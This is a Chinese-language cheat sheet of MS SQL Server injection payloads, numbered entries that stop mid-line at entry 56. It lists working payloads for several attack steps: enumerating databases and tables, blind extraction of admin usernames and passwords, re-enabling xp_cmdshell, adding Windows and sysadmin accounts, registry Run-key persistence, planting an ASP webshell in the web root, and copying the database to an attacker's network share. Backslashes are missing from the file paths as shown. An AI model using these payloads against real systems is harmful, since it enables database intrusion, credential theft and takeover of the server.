1、返回的是连接的资料库名and db_name()>02、作用是获取连接用户名and user>03、将资料库备份到Web目录下面;backup database 资料库名 to disk="c:inetpubwwwroot1.db";--4、显示SQL系统版本and 1=(select @@VERSION) 或and 1=convert(int,@@version)--5、判断xp_cmdshell扩展存储过程是否存在and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = "X" AND name ="xp_cmdshell")6、恢复xp_cmdshell扩展存储的命令;exec master.dbo.sp_addextendedproc "xp_cmdshell","e:inetputwebxplog70.dll";--7、向启动组中写入命令行和执行程序;EXEC master.dbo.xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionRun","help1","REG_SZ","cmd.exe /c net user test ptlove /add"8、查看当前的资料库名称and 0 <> db_name(n) n改成0,1,2,3……就可以跨库了 或and 1=convert(int,db_name())--9、不需xp_cmdshell支持在有注入漏洞的SQL伺服器上运行CMD命令(同第76)10、则把得到的数据内容全部备份到WEB目录下;backup database 资料库名 to disk="c:inetpubwwwrootsave.db"11、通过复制CMD创建UNICODE漏洞;exec master.dbo.xp_cmdshell "copy c:winntsystem32cmd.exe c:inetpubscrīptscmd.exe"12、遍历系统的目录结构,分析结果并发现WEB虚拟目录先创建一个临时表:temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;--通过查询temp的内容来获得驱动器列表及相关信息(2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs "c:";--(3)还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";-- (实验成功)13、查看某个文件的内容,可以通过执行xp_cmdsell;insert into temp(id) exec master.dbo.xp_cmdshell "type c:webindex.asp";--14、将一个文本文件插入到一个临时表中;bulk insert temp(id) from "c:inetpubwwwrootindex.asp"15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:;delete from temp;--16、浏览TEMP表的方法是:and (select top 1 id from TestDB.dbo.temp)>0 假设TestDB是当前连接的资料库名17、猜解所有资料库名称and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分别得到其它库名18、猜解资料库中用户名表的名称and (select count(*) from TestDB.dbo.表名)>0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。19、判断是否是sysadmin许可权and 1=(SELECT IS_SRVROLEMEMBER("sysadmin"))20、判断是否是SA用户"sa"=(SELECT System_user)21、查看资料库角色;use model--22、查看库名and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)--23、获得第一个用户建立表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 )>0 假设要获得资料库是TestDB.dbo24、获得第二个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and name not in("xyz"))>025、获得第三个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and name not in("xyz",""))>0 ""中为第二个用户名26、获得第四个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype="U" and status>0 and name not in("xyz","",""))>0 "",""中为第二,三个用户名27、获得表中记录的条数and (select count(*) from 表名)<5 记录条数小于5 或 <10 记录条数小于10 ……等等28、测试许可权结构(mssql)and 1=(SELECT IS_SRVROLEMEMBER("sysadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("serveradmin"));--and 1=(SELECT IS_SRVROLEMEMBER("setupadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("securityadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("diskadmin"));--and 1=(SELECT IS_SRVROLEMEMBER("bulkadmin"));--and 1=(SELECT IS_MEMBER("db_owner"));--29、 添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;exec master.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell "net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add";--;exec master.dbo.xp_cmdshell "net user username password /add";--;exec master.dbo.xp_cmdshell "net localgroup administrators username /add";--30、 简洁的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ("");backup database model to disk="g:wwwtestl.asp";请求的时候,像这样子用:http://ip/l.asp?c=dir31、猜解栏位名称猜解法:and (select count(栏位名) from 表名)>0 若「栏位名」存在,则返回正常读取法:and (select top 1 col_name(object_id("表名"),1) from sysobjects)>0 把col_name(object_id("表名"),1)中的1依次换成2,3,4,5,6…就可得到所有的栏位名称。32、 猜解用户名与密码ASCII码逐字解码法:基本的思路是先猜出栏位的长度,然后依次猜出每一位的值and (select top 1 len(username) from admin)=X(X=1,2,3,4,5,… n,假设:username为用户名栏位的名称,admin为表的名称 若x为某一值i且abc.asp运行正常时,则i就是第一个用户名的长度。and (select top 1 ascii(substring(username,m,1)) from admin)=n (m的值在上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),33、建立数据表;create table 表名 (列名1 数据类型,列名2 数据类型);--34、向表格中插入数据;insert into 表名 (列名1,列名2,……) values ("值1","值2"……);--35、更新记录update 表名 set 列名1="值"…… where ……36、删除记录delete from 表名 where ……37、删除资料库表格drop table 表名38、将文本文件导入表使用"bulk insert"语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:create table foo( line varchar(8000))然后执行bulk insert操作把文件中的数据插入到表中,如:bulk insert foo from "c:inetpubwwwrootprocess_login.asp"39、备份当前资料库的命令:declare @a sysname;set @a=db_name();backup database @a to disk="你的IP你的共享目录bak.dat" ,name="test";--40、使用sp_makewebtask处理过程的相关请求写入URL; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"41、将获得SQLSERVER进程的当前工作目录中的目录列表Exec master..xp_cmdshell "dir"42、将提供伺服器上所有用户的列表Exec master..xp_cmdshell "net user"43、读注册表存储过程exec xp_regread HKEY_LOCAL_MACHINE,"SYSTEMCurrentControlSetServiceslanmanserverparameters", "nullsessionshares"44、xp_servicecontrol过程允许用户启动,停止,暂停和继续服务exec master..xp_servicecontrol "start","schedule"exec master..xp_servicecontrol "start","server"45、显示机器上有用的驱动器Xp_availablemedia46、允许获得一个目录树Xp_dirtree47、提供进程的进程ID,终止此进程Xp_terminate_process48、恢复xp_cmdshellExec master.dbo.addextendedproc "xp_cmdshell","xplog70.dll"49、堵上cmdshell的SQL语句sp_dropextendedproc "xp_cmdshell"50、不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效declare @shell int exec sp_oacreate "wscrīpt.shell",@shell output exec sp_oamethod @shell,"run",null,"c:winntsystem32cmd.exe /c net user gchn aaa /add"--51、在资料库内添加一个hax用户;exec sp_addlogin hax;--52、给hax设置密码;exec master.dbo.sp_password null,username,password;--53、将hax添加到sysadmin组;exec master.dbo.sp_addsrvrolemember sysadmin hax;--54、(1)遍历目录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree "c:";and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in("上步得到的paths"))>)55、(2)遍历目录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs "c:";-- 获得子目录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree "c:";-- 获得所有子目录的目录树结构;insert into temp(id) exec master.dbo.xp_cmdshell "type c:webindex.asp";-- 查看文件的内容56、mssql中的存储过程xp_regenumvalues 注册表根键, 子键;exec xp_regenumvalues "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionRun" 以多个记录集方式返回所有键值xp_regread 根键,子键,键值名;exec xp_regread "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersion","CommonFilesDir" 返回制定键的值xp_regwrite 根键,子键, 值名, 值类型, 值值类型有2种REG_SZ 表示字元型,REG_DWORD 表示整型;exec xp_regwrite "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersion","TestValueName","reg_sz","hello" 写入注册表xp_regdeletevalue 根键,子键,值名exec xp_regdeletevalue "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersion","TestValueName" 删除某个值xp_regdeletekey "HKEY_LOCAL_MACHINE","SOFTWAREMicrosoftWindowsCurrentVersionTes
推荐阅读:

查看原文 >>
相关文章